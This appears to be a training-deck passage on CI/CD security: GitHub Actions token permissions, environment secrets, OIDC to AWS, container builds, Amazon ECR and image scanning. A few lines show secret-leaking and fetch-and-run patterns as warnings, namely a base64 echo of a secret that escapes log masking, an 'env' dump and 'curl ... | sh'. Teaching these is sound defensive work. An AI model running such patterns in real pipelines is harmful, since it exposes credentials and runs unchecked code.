Every job gets a fresh installation token of the GitHub Actions app, scoped to the repository and expiring when the job ends (or after 24 hours at most).

Facts

  • Available as secrets.GITHUB_TOKEN and github.token.
  • Scoped to the current repository only.
  • Expires when the job finishes.
  • Events it creates (push, PR) do not trigger new workflow runs — prevents loops (except workflow_dispatch and repository_dispatch).
  • Fork pull requests get a read-only token and no secrets.

Default permissions (org or repo setting)

  • "Read repository contents and packages" — contents: read, packages: read: the safe default for new orgs.
  • "Read and write" — write on most scopes: legacy default, still common in older orgs.
  • Also a setting: "Allow GitHub Actions to create and approve pull requests" (keep it off unless a bot needs it).

Why it matters

  • A compromised step can use the token for whatever it is allowed: push code, edit releases, approve PRs.
  • Read-only default + explicit grants per job = small blast radius.
  • The permissions: block documents intent in the file reviewers read.
GITHUB_TOKEN

The permissions block

Set at workflow level for a baseline and at job level to grant more. Once you list any scope, every unlisted scope becomes none.

permissions: {}             # workflow default: nothing

jobs:
  test:
    runs-on: ubuntu-latest
    permissions:
      contents: read          # checkout only
    steps: [...]

  label:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write    # add a label, nothing else
    steps: [...]

  publish:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write         # OIDC to AWS / Sigstore
      attestations: write     # artifact attestations (Chapter 11)
      packages: write         # push to GHCR
    steps: [...]

Common scopes

ScopeTypical need
contentsread: checkout · write: push, create releases
pull-requestswrite: comment, label, open PRs
issueswrite: comment on or create issues
checks / statuseswrite: report custom check results
packageswrite: push images to GHCR
id-tokenwrite: request an OIDC token (no read level)
attestationswrite: create artifact attestations
security-eventswrite: upload SARIF (CodeQL, zizmor)
actionswrite: cancel or re-run workflows
GITHUB_TOKEN

GITHUB_TOKEN vs GitHub App vs personal access token

When the automatic token is not enough (cross-repo, trigger workflows), choose the next-smallest identity.

NeedGITHUB_TOKENGitHub App installation tokenPersonal access token
Act on the current repoYesYesYes
Act on other repos (open a PR in gitops-lab)NoYes, repos where the app is installedYes, everything the user can reach
Trigger workflows with its pushesNo (by design)YesYes
LifetimeJob1 hour, minted per runUntil expiry or revocation (often long)
Tied to a personNoNoYes — leaves with the person
How in ActionsAutomaticactions/create-github-app-token with app ID + private keyStored secret
Use forAlmost everythingPromotion PRs, cross-repo automationAvoid; fine-grained PAT if unavoidable

Promotion to the GitOps repo (Chapter 7, GitOps deck ch 9): a GitHub App installed only on gitops-lab with contents: write and pull-requests: write.

GITHUB_TOKEN

Minting a GitHub App token for cross-repo work

The app's private key is the only stored secret, and the minted token lives one hour with only the permissions you ask for.

jobs:
  promote:
    runs-on: ubuntu-latest
    environment: dev
    permissions: {contents: read}
    steps:
      - id: app
        uses: actions/create-github-app-token@<sha>  # pin
        with:
          app-id: ${{ vars.PROMOTER_APP_ID }}
          private-key: ${{ secrets.PROMOTER_PRIVATE_KEY }}
          owner: <you>
          repositories: gitops-lab    # one repo only
      - uses: actions/checkout@<sha>               # pin
        with:
          repository: <you>/gitops-lab
          token: ${{ steps.app.outputs.token }}
          persist-credentials: false
      # edit envs/dev/hello/values.yaml, push a branch, then:
      - env:
          GH_TOKEN: ${{ steps.app.outputs.token }}
        run: gh pr create --repo <you>/gitops-lab --fill

Why not a PAT

  • A PAT acts as a person: it outlives jobs and roles and leaves with them.
  • A fine-grained PAT is better than a classic one, but still long-lived.
  • App tokens are minted per run and scoped to named repos.
  • App permissions are reviewed once by an org owner.
  • Store the private key as an environment secret so only gated jobs can mint.
Chapter 4 · Part 4.3

Secrets and environments

Where secrets live, who can read them, and how environments turn approvals into a security control.

Secrets

Three levels of secrets and variables

Secrets are encrypted and masked; variables are plain configuration. Both exist at org, repo and environment level.

LevelVisible toUse for
OrganizationRepos selected by the access policyShared, low-risk values (a Sonar URL), app IDs
RepositoryAll workflows in the repo, all branchesBuild-time values that are not environment-specific
EnvironmentOnly jobs that declare environment: NAME, after protection rules passAnything production: keys, app private keys

Precedence and access

  • Same name at several levels: environment beats repo beats org.
  • secrets.X for secrets, vars.X for variables.
  • Secrets are not passed to workflows triggered from forks (except pull_request_target, which runs base-branch code — Chapter 8).
  • Secrets are not available in if: conditions directly; map them to env first.
  • Max size of one secret: 48 KB.
Secrets

Masking is a convenience, not a control

GitHub replaces exact secret values in logs with ***. Anything that transforms the value escapes the mask.

What escapes masking

  • Base64, URL-encoding or reversing the secret.
  • Parts of a structured secret (one field of a JSON blob).
  • Values derived at runtime (a token fetched with the secret).
  • Secrets written to files and uploaded as artifacts.
  • The tj-actions payload double-base64-encoded secrets to slip past masks.
# mask a value created
# during the job
- run: |
    T=$(./get-token.sh)
    echo "::add-mask::$T"
    echo "T=$T" >> "$GITHUB_ENV"

# do not:
# base64 output is unmasked
- env:
    P: ${{ secrets.DB_PASS }}
  run: echo "$P" | base64
# dumps everything
- run: env

Real controls

  • Do not put secrets in the job at all (OIDC).
  • Least scope: environment secrets only on gated jobs.
  • Avoid running third-party code in jobs that hold secrets.
  • Treat any log leak as compromise: rotate.
Environments

Environments as a security boundary

An environment bundles protection rules and secrets. A job that references it waits until the rules pass, and only then sees its secrets.

Protection rules

  • Required reviewers: named people or teams approve each deployment (up to six).
  • Prevent self-review: the person who triggered the run cannot approve it.
  • Wait timer: delay after approval (minutes, up to 30 days).
  • Deployment branches and tags: only main or v* tags may target the environment.
  • Custom deployment protection rules: a GitHub App (change ticket, monitoring check) decides.

What you get

  • Approvals recorded with who, when and which commit.
  • Deployment history per environment in the repo UI.
  • Secrets that a feature branch cannot read, because it cannot pass the branch rule.
  • An OIDC sub with environment:NAME, so AWS can trust only approved deploys.

Plan notes

  • Environments exist on all plans for public repos.
  • Some protection rules on private repos need a paid plan; check your plan before designing around them.
  • Admins can be allowed or forbidden to bypass rules (setting per environment).
Environments

Wiring prod: environment + OIDC + reviewers

Three settings line up into one control: only reviewed, main-branch runs can become the prod role.

jobs:
  deploy-prod:
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    environment:
      name: prod
      url: https://hello.example.com
    permissions:
      contents: read
      id-token: write
    concurrency: {group: deploy-prod, cancel-in-progress: false}
    steps:
      - uses: aws-actions/configure-aws-credentials@<sha-of-release>  # pin
        with:
          role-to-assume: ${{ vars.PROD_ROLE_ARN }}   # environment variable
          aws-region: ap-northeast-1
      - run: ./deploy.sh
Environment prodreviewers · branch: mainJob token sub…:environment:prodRole trust policysub == …:environment:prodapproved run onlymatches only thisA feature branch cannot pass the branch rule,so it can never mint a prod token.
Secrets

Runtime secrets from AWS Secrets Manager

Keep third-party tokens in Secrets Manager; the job fetches them with its OIDC role. GitHub stores nothing but the role ARN.

steps:
  - uses: aws-actions/configure-aws-credentials@<sha>  # pin
    with:
      role-to-assume: arn:aws:iam::<acct>:role/gha-cicd-lab-dev
      aws-region: ap-northeast-1
  - uses: aws-actions/aws-secretsmanager-get-secrets@<sha>  # pin
    with:
      secret-ids: |
        SONAR, cicd-lab/sonar
      parse-json-secrets: true
  # exported as env vars, masked in logs
  # JSON {"token": …} under alias SONAR → $SONAR_TOKEN
  - run: ./scan.sh
// role permission: only these secrets
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "secretsmanager:GetSecretValue",
    "Resource":
      "arn:aws:secretsmanager:ap-northeast-1:<acct>:secret:cicd-lab/*"
  }]
}

Benefits: rotation happens in AWS, access is logged in CloudTrail per run (session name), and the same secret serves CI and the workload. Add kms:Decrypt if the secret uses a customer managed key.

Common mistakes

Identity mistakes that open the door

Almost every CI credential incident traces back to one of these.

OIDC

  • Trust policy with StringLike repo:org/* on a role that can push images.
  • Only allowing ref:refs/heads/main while the job uses environment: prod → AccessDenied, then "fixed" with a wildcard.
  • Forgetting id-token: write → "Credentials could not be loaded".
  • Renaming a repo after 15 Jul 2026 without adding the immutable sub.
  • One role shared by dev and prod.

Tokens and secrets

  • Org default token set to read/write.
  • PATs of a departed engineer still running releases.
  • Production secrets at repo level instead of environment level.
  • Trusting masking: printing encoded or partial secrets.
  • secrets: inherit into a template owned by someone else.

Checks that catch them

  • IAM Access Analyzer on every role trust policy.
  • Org setting: default token read-only; block PR creation by Actions.
  • A repo audit: permissions: present in every workflow (zizmor flags missing ones).
  • Quarterly review of org secrets and installed apps.
  • Decode a real token before writing a trust policy.
Self-check

Identity: can you answer these?

Explain each with the exact claim, setting or field.

OIDC

  • Which permission lets a job request an OIDC token?
  • What is the sub of a job on main with environment: prod?
  • What does an immutable sub look like, and which repos get it by default?
  • Why is repo:org/* dangerous on a writable role?
  • How would you allow only a central deploy workflow to assume a role?

GITHUB_TOKEN

  • What happens to unlisted scopes once you add a permissions: block?
  • Why do pushes made with GITHUB_TOKEN not trigger workflows?
  • What token does a fork pull request get?
  • When do you need a GitHub App token, and how long does it live?
  • Which scope is needed for artifact attestations?

Secrets and environments

  • Which wins: an environment secret or a repo secret with the same name?
  • When do environment secrets become available to a job?
  • Name four ways a secret escapes log masking.
  • How do environment rules, the sub claim and the trust policy combine?
  • Why fetch third-party tokens from Secrets Manager instead of GitHub secrets?

Practice: Lab 4 in Hands-on labs — OIDC to AWS with a role locked to environment:prod, then break it with a wrong sub, a rename and a fork PR.

Chapter 5

Building and publishing container images

Dockerfiles made for CI, BuildKit in Actions, publishing to Amazon ECR, and scanning before anything ships.

Chapter 5 · Part 5.1

Dockerfiles for CI

Small, reproducible, non-root images that build fast from cache.

Goal

What a CI-grade image looks like

The image is the artifact you promote. Every property below is cheap to get right once, and expensive to retrofit.

Small

  • Only the binary and what it needs at runtime.
  • No compiler, shell or package manager in the final stage.
  • Fewer packages → fewer CVEs → fewer scan exceptions.

Reproducible

  • Base images pinned by digest, not only by tag.
  • Dependencies from lock files (go.sum, package-lock.json).
  • No apt-get upgrade or latest downloads at build time.
  • Same commit → same content (byte-identical is a bonus, not a must).

Safe to run

  • Runs as a non-root user with a numeric UID.
  • Read-only root filesystem works (writes go to mounted volumes).
  • No secrets in layers: use BuildKit secret mounts.
  • Labels link the image to its source commit.

Fast to build

  • Dependency download in its own cached layer.
  • BuildKit cache mounts for module and build caches.
  • Cross-compile instead of emulating (Go, Rust, Java).
  • A .dockerignore keeps the build context tiny.
Multi-stage build

The hello service: Go build stage → distroless nonroot

The build stage runs on the runner's native platform and cross-compiles; the final stage contains one static binary.

# syntax=docker/dockerfile:1
FROM --platform=$BUILDPLATFORM golang:1.27@sha256:<digest> AS build
ARG TARGETOS TARGETARCH
WORKDIR /src
COPY go.mod go.sum ./
RUN --mount=type=cache,target=/go/pkg/mod go mod download
COPY . .
RUN --mount=type=cache,target=/go/pkg/mod \
    --mount=type=cache,target=/root/.cache/go-build \
    CGO_ENABLED=0 GOOS=$TARGETOS GOARCH=$TARGETARCH \
    go build -trimpath -ldflags="-s -w" -o /out/hello ./cmd/hello

FROM gcr.io/distroless/static-debian12:nonroot@sha256:<digest>
COPY --from=build /out/hello /hello
USER nonroot:nonroot
EXPOSE 8080
ENTRYPOINT ["/hello"]

Why each line

  • # syntax= pins the Dockerfile frontend, enabling cache mounts.
  • --platform=$BUILDPLATFORM: the Go toolchain runs natively; TARGETOS/TARGETARCH select the output. No QEMU needed.
  • go.mod/go.sum copied first: dependency layer is reused until they change.
  • Cache mounts persist module and build caches between builds without entering the image.
  • CGO_ENABLED=0 → static binary that runs on static distroless (no libc).
  • -trimpath removes local paths from the binary (better reproducibility).
  • nonroot variant runs as UID 65532; USER makes it explicit.
  • Digests make the base immutable; Dependabot/Renovate bump them (Chapter 6).
Base images

Choosing a base: what you inherit

Every package in the base becomes your CVE backlog. Pick the smallest base your runtime allows.

BaseContainsGood forWatch out
scratchNothingStatic Go/Rust binariesAdd CA certs and /etc/passwd yourself; no timezone data
distroless/staticCA certs, tzdata, passwd, no shellStatic binariesNo shell: debug with ephemeral containers (kubectl debug)
distroless/base, ccglibc (+ libstdc++)CGO, C/C++ dependenciesStill no package manager
Language distroless (java, python, nodejs)Runtime onlyJVM, Python, Node appsPin the runtime major version
*-slim (Debian), alpineShell + package managerApps needing OS packagesMore CVEs; Alpine uses musl (DNS and glibc differences)
Hardened minimal images (vendor or internal)Curated, frequently rebuiltTeams wanting near-zero CVEsLicensing, update cadence, provenance of the vendor

Platform teams often publish 2–3 approved bases to an internal ECR repo and rebuild them weekly; app Dockerfiles may only use those (enforced by a policy check in CI).

Secrets and metadata

Never bake secrets; always label the source

Layers are public to anyone who can pull the image. ARG and ENV values end up in the image history.

# Dockerfile: private Go modules without leaking the token
RUN --mount=type=secret,id=gh_token \
    T=$(cat /run/secrets/gh_token) && \
    git config --global \
      url."https://x-access-token:$T@github.com/".insteadOf \
      "https://github.com/" && \
    go mod download

# workflow step (docker/build-push-action)
#   secrets: |
#     gh_token=${{ secrets.MODULES_TOKEN }}
#   labels: ${{ steps.meta.outputs.labels }}

# OCI labels the metadata action adds for you
org.opencontainers.image.source=
  https://github.com/<you>/cicd-lab
org.opencontainers.image.revision=<git sha>
org.opencontainers.image.created=<timestamp>

Rules

  • --mount=type=secret exposes the secret only to that RUN step; it is not stored in a layer.
  • Never COPY .npmrc, ~/.aws or .env into the build context: list them in .dockerignore.
  • ARG TOKEN=... is visible in docker history — not a secret mechanism.
  • org.opencontainers.image.source lets GitHub and scanners link the image back to the repo.
  • revision = the commit SHA you will look for during an incident (Chapter 13).
Build context

.dockerignore and reproducibility habits

A large or dirty context slows every build and can leak files into the image.

# .dockerignore
.git
.github
**/*_test.go
*.md
.env*
.npmrc
dist/
node_modules/
coverage/
Dockerfile*
.dockerignore

Habits that pay off

  • Build from a clean checkout in CI, never from a developer laptop.
  • Lock files are mandatory; CI fails if they are out of date (go mod tidy diff check).
  • Set SOURCE_DATE_EPOCH from the commit time if you want timestamps to be reproducible.
  • Keep the Dockerfile next to the code it builds; one image per Dockerfile.
  • Use hadolint as a lint step for Dockerfile mistakes (missing pins, apt without --no-install-recommends).

Smells

  • RUN curl ... | sh without a checksum.
  • FROM node:latest or any tag without a digest in production images.
  • chmod -R 777 to "fix" permissions.
  • Installing debugging tools "temporarily" in the final stage.
Chapter 5 · Part 5.2

BuildKit and Buildx in Actions

The Docker actions, cache backends, and multi-arch builds without slow emulation.

The building blocks

Four Docker actions, one job

Each action does one thing; the outputs of one feed the next.

docker/setup-qemu-action

  • Registers QEMU emulators.
  • Only needed when building a platform the runner cannot run natively.
  • Skip it for cross-compiled Go builds.
→

docker/setup-buildx-action

  • Creates a BuildKit builder (docker-container driver).
  • Required for cache export, multi-platform and attestations.
→

docker/metadata-action

  • Computes tags and OCI labels from the Git context.
  • Rules: commit SHA, SemVer tags, branch, PR number.
→

docker/build-push-action

  • Runs buildx build with platforms, tags, labels, cache.
  • push: true publishes; output digest is the artifact identity.

Pin all four by full commit SHA (Chapter 9). The digest output is what you sign, attest and promote — never the tag.

Workflow

Build, cache and push hello to ECR

One job, OIDC to AWS, registry login, metadata, build and push. The digest is exported for later jobs.

jobs:
  image:
    runs-on: ubuntu-24.04
    environment: dev
    permissions: {contents: read, id-token: write}
    outputs:
      digest: ${{ steps.build.outputs.digest }}
    steps:
      - uses: actions/checkout@<sha-of-v7.0.1>            # vX.Y.Z
        with: {persist-credentials: false}
      - uses: aws-actions/configure-aws-credentials@<sha>   # vX.Y.Z
        with:
          role-to-assume: arn:aws:iam::111122223333:role/gha-cicd-lab
          aws-region: ap-northeast-1
      - id: ecr
        uses: aws-actions/amazon-ecr-login@<sha>       # vX.Y.Z
      - id: meta
        uses: docker/metadata-action@<sha>             # vX.Y.Z
        with:
          images: ${{ steps.ecr.outputs.registry }}/cicd-lab/hello
          tags: |
            type=sha,format=long
            type=semver,pattern={{version}}
      - uses: docker/setup-buildx-action@<sha>         # vX.Y.Z
      - id: build
        uses: docker/build-push-action@<sha>           # vX.Y.Z
        with:
          context: .
          platforms: linux/amd64,linux/arm64
          push: true
          tags: ${{ steps.meta.outputs.tags }}
          labels: ${{ steps.meta.outputs.labels }}
          cache-from: type=gha
          cache-to: type=gha,mode=max
Cache backends

type=gha vs type=registry: where layer cache lives

Without an exported cache every CI build starts cold: BuildKit runs on a fresh runner each time.

BackendHowGood forLimits
type=ghaGitHub Actions cache serviceSingle repo, GitHub-hosted runnersShares the repo's Actions cache quota; evicted when full; scoped by branch
type=registryCache manifest pushed to a registry tagShared across repos, runners and branchesExtra registry storage; needs registry write access
type=inlineCache metadata inside the imageSimple setupsmode=min only (final stage layers); weakest hit rate
type=localDirectory on the runnerPersistent self-hosted runnersLost on ephemeral runners
# registry cache in ECR
# REG=<acct>.dkr.ecr.ap-northeast-1
#     .amazonaws.com
cache-from: >-
  type=registry,
  ref=REG/cicd-lab/hello-cache:main
cache-to: >-
  type=registry,
  ref=REG/cicd-lab/hello-cache:main,
  mode=max,image-manifest=true,
  oci-mediatypes=true

mode=max caches every stage, including the build stage — that is where most of the time goes. image-manifest=true stores the cache as an OCI image manifest, which ECR accepts. Keep the cache in a separate, mutable repository (hello-cache): the app repository is immutable.

Multi-arch

Three ways to build linux/amd64 + linux/arm64

ARM (Graviton) nodes are cheaper on EKS, so most teams publish both architectures under one tag.

MethodHow it worksSpeedUse when
Cross-compile in DockerfileFROM --platform=$BUILDPLATFORM; compiler targets $TARGETARCHNative speedGo, Rust, Java, .NET — the default choice
QEMU emulationsetup-qemu-action; every RUN of the foreign arch runs emulatedOften 5–20× slower for compile-heavy stepsInterpreted stacks with native extensions, small builds
Native runners per arch + mergeOne job on ubuntu-24.04, one on ubuntu-24.04-arm; push by digest; merge with imagetools createNative speed, parallelLarge builds that cannot cross-compile (C/C++ deps, Python wheels)

The result is an image index (manifest list): one tag, one index digest, one manifest per platform. Nodes pull the manifest that matches their architecture.

Multi-arch

Native runners per architecture, merged into one index

Each job pushes by digest only; a final job creates the tagged index from both digests.

build (amd64)ubuntu-24.04build (arm64)ubuntu-24.04-armmerge jobbuildx imagetools createECR: hello:<sha>image index → 2 manifestsdigest Adigest BArtifacts or job outputs carry the per-arch digests to the merge job.The index digest is what you sign and promote (Chapter 11).
# per-arch job (matrix: platform, runner)
- id: build
  uses: docker/build-push-action@<sha>   # vX.Y.Z
  with:
    platforms: ${{ matrix.platform }}
    outputs: >-
      type=image,name=${{ env.IMAGE }},
      push-by-digest=true,
      name-canonical=true,push=true

# merge job
- run: |
    docker buildx imagetools create \
      -t "$IMAGE:${GITHUB_SHA}" \
      "$IMAGE@${DIGEST_AMD64}" "$IMAGE@${DIGEST_ARM64}"
    docker buildx imagetools inspect "$IMAGE:${GITHUB_SHA}" 

ubuntu-24.04-arm: free on public repos (4 vCPU, 16 GB); private repos get 2 vCPU, 8 GB, using included minutes then billed per minute.

Build outputs

Digests, attestations and what build-push-action adds by default

Know what lands in the registry before you write scanning and signing steps.

Outputs you use

  • steps.build.outputs.digest: the image (or index) digest — the artifact identity.
  • steps.build.outputs.metadata: full build result JSON.
  • Pass the digest to later jobs via job outputs; never re-resolve a tag.

Attestations from BuildKit

  • On push, Buildx attaches a minimal SLSA provenance attestation by default.
  • provenance: mode=max records more build detail (can include build args — avoid secrets in args).
  • sbom: true attaches an SBOM attestation generated by BuildKit.
  • Attestation manifests make even a single-platform image an image index.

Interplay

  • Tools that expect a plain manifest may show an extra unknown/unknown platform entry: that is the attestation.
  • GitHub artifact attestations and cosign signatures (Chapter 11) are separate from BuildKit attestations.
  • Decide on one provenance story per org to avoid three overlapping formats.
Chapter 5 · Part 5.3

Publishing to Amazon ECR

Login without keys, tags you can trust, and repositories that clean and copy themselves.

ECR model

Registries, repositories, tags and digests

One private registry per account and Region; repositories inside it; images addressed by tag or digest.

Addressing

  • Registry: <acct>.dkr.ecr.ap-northeast-1.amazonaws.com.
  • Repository names may contain namespaces: cicd-lab/hello.
  • Tag: a movable (or immutable) pointer. Digest: content hash, never moves.
  • Deploy by digest: cicd-lab/hello@sha256:… (GitOps deck ch 9).

Access

  • Push needs IAM on the CI role: ecr:GetAuthorizationToken (*) plus repository-scoped ecr:BatchCheckLayerAvailability, InitiateLayerUpload, UploadLayerPart, CompleteLayerUpload, PutImage, and BatchGetImage + GetDownloadUrlForLayer for cache reads.
  • Repository policies grant other accounts pull access.
  • EKS nodes pull with the node role (AmazonEC2ContainerRegistryReadOnly or narrower).

Login in Actions

  • aws-actions/configure-aws-credentials with OIDC (Chapter 4).
  • aws-actions/amazon-ecr-login runs the Docker login and outputs registry.
  • The login token is valid for 12 hours; no long-lived keys anywhere.
Tag strategy

Tags for humans, digests for machines

Choose a scheme where every tag is meaningful and none is ever reused.

Recommended tags

TagCreated whenMutable?
<full git sha>Every main-branch buildNo
v1.4.0Release tag pushedNo
pr-123-<sha>PR builds (if pushed at all)No; expire quickly
buildcacheRegistry cache exportYes (separate repo is cleaner)

Avoid

  • latest: nobody knows what it is, and it changes under running pods.
  • Environment tags (prod, staging) that are re-pointed: promotion belongs in Git (GitOps deck), not in tags.
  • Short SHAs as the only identifier: collisions are rare but annoying in audits.
  • Building a different image per environment: breaks "build once, deploy many".
Tag immutability

Make overwrites impossible

With IMMUTABLE, pushing an existing tag fails. A tag then always means the same digest.

aws ecr create-repository \
  --repository-name cicd-lab/hello \
  --image-tag-mutability IMMUTABLE \
  --image-scanning-configuration scanOnPush=true \
  --encryption-configuration encryptionType=KMS

# existing repository
aws ecr put-image-tag-mutability \
  --repository-name cicd-lab/hello \
  --image-tag-mutability IMMUTABLE

# re-pushing the same tag now fails with
#   ImageTagAlreadyExistsException

Consequences

  • Re-running a release job for the same tag fails: make jobs idempotent (check if the tag exists, compare digests, skip).
  • A registry cache tag cannot live in an immutable repo; put it in cicd-lab/hello-cache.
  • Rollback = deploy an older digest, not re-tag.
  • Combine with digest pinning in manifests: immutability protects humans reading tags, digests protect the cluster.
Lifecycle policies

Let ECR delete what you no longer need

Storage is cheap per image but grows forever without rules. Rules are evaluated by priority.

{
  "rules": [
    {
      "rulePriority": 1,
      "description": "Expire untagged images after 7 days",
      "selection": {"tagStatus": "untagged",
        "countType": "sinceImagePushed",
        "countUnit": "days", "countNumber": 7},
      "action": { "type": "expire" }
    },
    {
      "rulePriority": 2,
      "description": "Keep the last 30 PR images",
      "selection": {"tagStatus": "tagged",
        "tagPrefixList": ["pr-"],
        "countType": "imageCountMoreThan",
        "countNumber": 30},
      "action": { "type": "expire" }
    }
  ]
}

Notes

  • Apply with aws ecr put-lifecycle-policy --repository-name cicd-lab/hello --lifecycle-policy-text file://policy.json.
  • Preview first: aws ecr start-lifecycle-policy-preview then get-lifecycle-policy-preview.
  • Never expire release tags (v*) or digests still referenced by a cluster.
  • Untagged images include the per-arch manifests behind an index and attestation manifests: if the index is tagged, ECR keeps its children.
  • Old images are also your rollback targets: keep enough history for your recovery window.
Pull-through cache and replication

Bring images closer: upstream caching and cross-Region copies

Two features that remove Docker Hub rate limits from CI and keep images next to the clusters that run them.

# pull-through cache: docker.io via ECR
aws ecr create-pull-through-cache-rule \
  --ecr-repository-prefix docker-hub \
  --upstream-registry-url \
    registry-1.docker.io \
  --credential-arn "$SECRET_ARN"
# secret: ecr-pullthroughcache/...

# then pull upstream images through ECR
FROM $REG/docker-hub/library/golang:1.27

# replication: cicd-lab/* to us-west-2
aws ecr put-replication-configuration \
 --replication-configuration '{"rules":[{
  "destinations":[{"region":"us-west-2",
    "registryId":"<acct>"}],
  "repositoryFilters":[{"filter":"cicd-lab",
    "filterType":"PREFIX_MATCH"}]}]}'

Pull-through cache

  • First pull fetches from upstream and stores a copy; later pulls come from ECR.
  • Upstreams include ECR Public, Docker Hub, Quay, GitHub Container Registry and Kubernetes registry; authenticated upstreams need a Secrets Manager secret with the ecr-pullthroughcache/ prefix.
  • Lets CI and clusters avoid public rate limits and survive upstream outages for cached images.
  • Cached images are still third-party code: scan them like your own.

Replication

  • Cross-Region and cross-account (destination registry policy must allow it).
  • Only new pushes replicate; existing images are not back-filled.
  • Replicated images keep the same digest, so signatures and policies still match.
  • Pairs well with multi-Region EKS and DR plans.
Chapter 5 · Part 5.4

Scanning images

Find known vulnerabilities at push time and keep finding them after release.

ECR scanning

Basic vs enhanced scanning

Scanning is a registry-level setting. Enhanced scanning hands the work to Amazon Inspector.

Basic scanningEnhanced scanning
EngineECR (AWS-native basic scanning)Amazon Inspector
CoverageOS packagesOS packages and programming-language packages
WhenOn push or manualOn push and continuous: re-scans when new CVEs are published
BillingECR (basic scans)Amazon Inspector pricing (per image scanned and re-scanned)
Findingsdescribe-image-scan-findingsInspector console, inspector2 API, EventBridge, Security Hub; also describe-image-scan-findings
Multi-archPer image manifestPer platform image; manifest lists (indexes) themselves are not scanned

Continuous re-scanning stops after a configurable duration since push or last pull; the allowed values depend on when Inspector was activated in the account — check the Inspector ECR scanning page for your account.

Enhanced scanning

Turn it on and route findings to people

Configure once per registry; let EventBridge carry findings to where teams already work.

aws ecr put-registry-scanning-configuration \
  --scan-type ENHANCED \
  --rules '[{
    "scanFrequency": "CONTINUOUS_SCAN",
    "repositoryFilters": [{"filter": "cicd-lab/*",
                           "filterType": "WILDCARD"}]
  }, {
    "scanFrequency": "SCAN_ON_PUSH",
    "repositoryFilters": [{"filter": "*",
                           "filterType": "WILDCARD"}]
  }]'

# in CI: poll until the scan has results (continuous
# scanning reports ACTIVE, not COMPLETE), then read them
# (SCAN_ON_PUSH repos make a simpler gate)
for i in $(seq 30); do
  S=$(aws ecr describe-image-scan-findings \
    --repository-name cicd-lab/hello \
    --image-id imageDigest=$DIGEST \
    --query imageScanStatus.status --output text)
  case $S in COMPLETE|ACTIVE) break;; esac; sleep 10
done
aws ecr describe-image-scan-findings \
  --repository-name cicd-lab/hello \
  --image-id imageDigest=$DIGEST \
  --query 'imageScanFindings.findingSeverityCounts'

Operating it

  • Scan per-platform digests: for a multi-arch index, read findings for each child manifest.
  • EventBridge rule on Inspector findings → SNS/Slack/ticket, filtered by severity and repository tag.
  • Security Hub aggregates findings across accounts with Organizations.
  • Suppression rules in Inspector for accepted risks, with a documented reason.
  • Continuous scanning is what tells you a released image became vulnerable — the push gate cannot.
CI scanners

Trivy and Grype as a build gate

Scanning in the pipeline gives fast feedback before push; registry scanning covers the long tail after release.

# Trivy: fail on fixable HIGH/CRITICAL in the built image
trivy image --exit-code 1 \
  --severity HIGH,CRITICAL --ignore-unfixed \
  --ignorefile .trivyignore.yaml \
  "$IMAGE@$DIGEST"

# Grype: same idea
grype "$IMAGE@$DIGEST" --only-fixed --fail-on high

# SARIF for GitHub code scanning
trivy image --format sarif -o trivy.sarif "$IMAGE@$DIGEST"
#   then github/codeql-action/upload-sarif with sarif_file: trivy.sarif

Compare

TrivyGrype
ScansImages, filesystems, repos, IaC, secrets, licensesImages, directories, SBOMs
Ignore file.trivyignore / .trivyignore.yamlignore: rules in .grype.yaml
Expiry on ignoresYes (exp: / expired_at)Track owner + date next to the rule
SBOM inputYesYes (pairs with Syft, Chapter 10)

Install scanners in CI from pinned releases with checksum verification, or via their official actions pinned by SHA: scanners run with access to your build, so they are part of the supply chain too.

Exceptions

Allowlists that expire

A gate without an exception process gets disabled. An exception without an expiry becomes permanent.

# .trivyignore.yaml
vulnerabilities:
  - id: CVE-2025-12345
    statement: >-
      Not reachable: vulnerable function only used by the CLI
      subcommand, not compiled into the hello server.
      Owner: team-hello. Ticket: SEC-412.
    expired_at: 2026-12-31

# plain .trivyignore alternative
# CVE-2025-12345 exp:2026-12-31

Policy that works

  • Gate: fail on fixable CRITICAL/HIGH; warn on the rest.
  • Every exception has an owner, a reason, a ticket and an expiry ≤ 90 days.
  • Expired exceptions fail the build again — the reminder is automatic.
  • Exceptions live in the repo and change through pull requests (reviewed by CODEOWNERS).
  • Record "not affected" decisions as VEX so other tools agree (Chapter 10).
  • Track exception count per repo as a metric (Chapter 13).
Where scans run

Defense in depth across the image lifecycle

No single scan is enough: each point catches what the others cannot.

PR buildTrivy/Grype gatePush to ECRscan on pushPromotion PRfindings checkRunning in EKScontinuous re-scanBase refreshweekly rebuildShift left: block known-bad before it is publishedShift right: learn about new CVEs in released imagesGate strictly at PR and push; alert (not block) on continuous findings and fix by rebuilding on a fresh base.Admission checks (Chapter 12) verify signatures and attestations — they do not re-scan.
Common mistakes

Images and registries: what goes wrong

Each of these has broken a real pipeline or let a bad image through.

Build

  • Base image by tag only: the "same" build pulls a different base next week.
  • QEMU used for a Go build: 20-minute builds that could take two.
  • type=gha cache with mode=min: the build stage is never cached.
  • Secrets passed as build-args (visible in history and in max provenance).

Registry

  • Mutable tags and a re-run release job silently replacing v1.4.0.
  • Lifecycle rule expiring images that prod still runs (rollback impossible).
  • Cache tag in an immutable repository → every build fails after the first.
  • Docker Hub pulls in CI hitting rate limits during an incident.

Scanning

  • Reading findings for the index digest of a multi-arch image (nothing there).
  • Gate on all severities including unfixed → gate disabled within a month.
  • Ignore files with no expiry and no owner.
  • Only scanning at build time: CVEs published after release go unnoticed.
Self-check

Images and registries: can you answer these?

Explain the answer and name the exact option, action input or API.

Dockerfile and BuildKit

  • Why does --platform=$BUILDPLATFORM remove the need for QEMU in a Go build?
  • What does a cache mount give you that a normal layer does not?
  • How do you pass a token to one RUN step without storing it?
  • When is type=registry cache better than type=gha?
  • What does push-by-digest=true enable?

ECR

  • What error do you get when re-pushing a tag to an immutable repository?
  • Why is a separate repository needed for registry cache?
  • Which lifecycle selection expires untagged images after 7 days?
  • What does a pull-through cache rule need for Docker Hub?
  • Does replication copy images pushed before the rule existed?

Scanning

  • Basic vs enhanced: which covers language packages, and who bills it?
  • Why do you get no findings for a multi-arch index digest?
  • What does continuous scanning catch that a CI gate cannot?
  • How does an expired Trivy ignore entry behave?
  • Where should a "not affected" decision be recorded?

Practice: Lab 5 in Hands-on labs — build a multi-arch hello image with registry cache, push to an immutable ECR repo, read Inspector findings per platform, and break it by re-pushing a tag.

Chapter 6

Testing and quality gates

